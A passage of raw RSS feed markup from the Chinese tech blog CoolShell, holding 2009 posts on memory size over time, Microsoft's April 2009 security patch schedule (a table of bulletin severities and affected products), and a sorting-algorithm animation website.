alt=\"TDD并不是看上去的那么美\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3649.html\" class=\"wp_rp_title\">TDD并不是看上去的那么美</a></li><li ><a href=\"https://coolshell.cn/articles/1202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/Question-150x150.jpg\" alt=\"面试题：赛马问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1202.html\" class=\"wp_rp_title\">面试题：赛马问题</a></li><li ><a href=\"https://coolshell.cn/articles/9.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/11-150x150.jpg\" alt=\"你应该知道的20个Ajax技术(11-20)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9.html\" class=\"wp_rp_title\">你应该知道的20个Ajax技术(11-20)</a></li><li ><a href=\"https://coolshell.cn/articles/873.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"谁说C语言很简单？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/873.html\" class=\"wp_rp_title\">谁说C语言很简单？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/424.html\">PDF电子书搜索引擎</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/424.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>1980年和2009年的1GB电脑内存的比较</title>\n\t\t<link>https://coolshell.cn/articles/410.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/410.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Fri, 10 Apr 2009 09:24:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=410</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>从1980年到现在，我们的科技到底进步了多少：） 下面这个图说明了1980年大机的1GB的内存和2009年的1GB的内存。 （转载本站文章请注明作者和出处 酷 ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/410.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/410.html\">1980年和2009年的1GB电脑内存的比较</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>从1980年到现在，我们的科技到底进步了多少：）</p>\n<p>下面这个图说明了1980年大机的1GB的内存和2009年的1GB的内存。</p>\n<p style=\"text-align: center;\"><a rel=\"attachment wp-att-412\" href=\"https://coolshell.cn/?attachment_id=412\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-412\" title=\"1gb-computer-memory\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/1gb-computer-memory.jpg\" alt=\"1gb-computer-memory\" width=\"819\" height=\"614\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/1gb-computer-memory.jpg 1024w, https://coolshell.cn/wp-content/uploads/2009/04/1gb-computer-memory-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/04/1gb-computer-memory-768x576.jpg 768w, https://coolshell.cn/wp-content/uploads/2009/04/1gb-computer-memory-360x270.jpg 360w\" sizes=\"(max-width: 819px) 100vw, 819px\" /></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/3713.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"你会问问题吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3713.html\" class=\"wp_rp_title\">你会问问题吗？</a></li><li ><a href=\"https://coolshell.cn/articles/2135.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2135.html\" class=\"wp_rp_title\">Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查</a></li><li ><a href=\"https://coolshell.cn/articles/17583.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/12/people-150x150.jpg\" alt=\"技术人员的发展之路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17583.html\" class=\"wp_rp_title\">技术人员的发展之路</a></li><li ><a href=\"https://coolshell.cn/articles/2964.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"25个jQuery的编程小抄\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2964.html\" class=\"wp_rp_title\">25个jQuery的编程小抄</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/410.html\">1980年和2009年的1GB电脑内存的比较</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/410.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>4月14日，微软补丁日</title>\n\t\t<link>https://coolshell.cn/articles/404.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/404.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 10 Apr 2009 02:21:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=404</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下周二，微软准备release至少8个以上的安全补丁，如下表所示。目前没有太多的信息，不过，我们知道的是其中Excel的那个BUG早在2月份的时候就报告了，ht...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/404.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/404.html\">4月14日，微软补丁日</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下周二，微软准备release至少8个以上的安全补丁，如下表所示。目前没有太多的信息，不过，我们知道的是其中Excel的那个BUG早在2月份的时候就报告了，<a href=\"http://www.microsoft.com/technet/security/advisory/968272.mspx\">http://www.microsoft.com/technet/security/advisory/968272.mspx</a>，可是这么长的时候后才有patch。哎。</p>\n<p>这次的BUG数之多，覆盖面之广（包括IE，Office，DirectX，Windows &#8230;），看来，下周二各个公司的IT部门又有得忙了。</p>\n<table style=\"margin-left: -3pt; border-collapse: collapse;\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"100%\">\n<tbody>\n<tr>\n<td style=\"background: #cccccc; padding: 0.75pt;\" bgcolor=\"#cccccc\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">编号</span></span></strong></p>\n</td>\n<td style=\"background: #cccccc; padding: 0.75pt;\" bgcolor=\"#cccccc\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">严重程度</span></span></strong></p>\n</td>\n<td style=\"background: #cccccc; padding: 0.75pt;\" bgcolor=\"#cccccc\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">攻击方式</span></span></strong></p>\n</td>\n<td style=\"background: #cccccc; padding: 0.75pt;\" bgcolor=\"#cccccc\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">重启</span></span></strong></p>\n</td>\n<td style=\"background: #cccccc; padding: 0.75pt;\" bgcolor=\"#cccccc\">\n<p class=\"MsoNormal\"><strong><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-weight: bold; font-size: 10pt; font-family: Verdana;\">影响的软件*</span></span></strong></p>\n</td>\n</tr>\n<tr>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows1</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">远程代码运行</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows, Microsoft Office</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows2</span></span></p>\n</td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n<p></span></span></td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">远程代码运行</span></span></p>\n<p></span></span></td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></span></span></td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows3</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n<p></span></span></td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">远程代码运行</span></span></p>\n<p></span></span></td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">可能需要重启</span></span></p>\n<p></span></span></td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">IE</span></span></p>\n</td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n<p></span></span></td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">远程代码运行</span></span></p>\n<p></span></span></td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></span></span></td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows, Internet Explorer</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Excel</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">严重</span></span></p>\n<p></span></span></td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">远程代码运行</span></span></p>\n<p></span></span></td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">可能需要重启</span></span></p>\n<p></span></span></td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Office</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows4</span></span></p>\n</td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">重要</span></span></p>\n</td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">获取更高权限</span></span></p>\n</td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></span></span></td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">ISA</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">重要</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">拒绝式服务</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></span></span></td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Forefront Edge Security</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows5</span></span></p>\n</td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">中级</span></span></p>\n</td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">获取更高权限</span></span></p>\n<p></span></span></td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\"></p>\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></span></span></td>\n<td style=\"background: #e9e9e6; padding: 0.75pt;\" bgcolor=\"#e9e9e6\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows</span></span></p>\n</td>\n</tr>\n</tbody>\n</table>\n<p>相关信息可以参看这里：</p>\n<p><a href=\"http://www.microsoft.com/technet/security/bulletin/ms09-apr.mspx\">http://www.microsoft.com/technet/security/bulletin/ms09-apr.mspx</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li><li ><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/W_600-150x150.jpg\" alt=\"Windows的达尔文进化图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_title\">Windows的达尔文进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/404.html\">4月14日，微软补丁日</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/404.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个排序算法比较的网站</title>\n\t\t<link>https://coolshell.cn/articles/399.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/399.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 10 Apr 2009 01:58:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[排序]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=399</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个网站是一个非常丰富的排序算法的网站。 Sorting Algorithm Animations http://www.sorting-algorithm...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/399.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/399.html\">一个排序算法比较的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sort.jpg\"></a>下面这个网站是一个非常丰富的排序算法的网站。</p>\n<h4 style=\"text-align: center;\">Sorting Algorithm Animations<br />\n<a href=\"http://www.sorting-algorithms.com/\">http://www.sorting-algorithms.com/</a></h4>\n<p>这是一个非常不错的排序算法的网站，当你打开这个网站的时候，请不要因为看到很多个图片的大红叉而鄙视它。你先点击网页上方的Problem Size，选择一个尺寸，20，30，40还是50，都行，于是你就可以看到下面整个大表中有图片显示出来了。如下所示：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sort.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-400 aligncenter\" title=\"sort\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/sort-300x160.jpg\" alt=\"sort\" width=\"300\" height=\"160\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sort.jpg\"></a></p>\n<p><span id=\"more-399\"></span></p>\n<p>其中，</p>\n<ul>\n<li><strong>列。</strong>是代表每一个排序算法，有“插入”“选择”“冒泡”“Shell”，“合并Merge”，“堆排序”，“快速排序”，“快速3排序”。单击每个一算法的链接，你可以看到这个算法的详细解释，其中包括，算法的伪代码，算法的复杂度，相关的讨论，重点，以及该算法的相关参考文档。</li>\n<li><strong>行。</strong>是不同的数据样本，第一个是“随机样本”，第二个是“几乎排好序的样本”，第三个是“最差的样本（反序）”，第四个是“有一些相同项的样本”。这些样本在不同的算法上都会有不同的表现。</li>\n<li><strong>单元格</strong>。每个单元格都是一个图片。简单的用鼠标单击一下每个图片，可以动画地演示算法整个过程。其中两个小红箭头表示了正在需要“交换顺序的数据”。</li>\n</ul>\n<p>这个网站，还是做得很8错的。希望大家喜欢。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  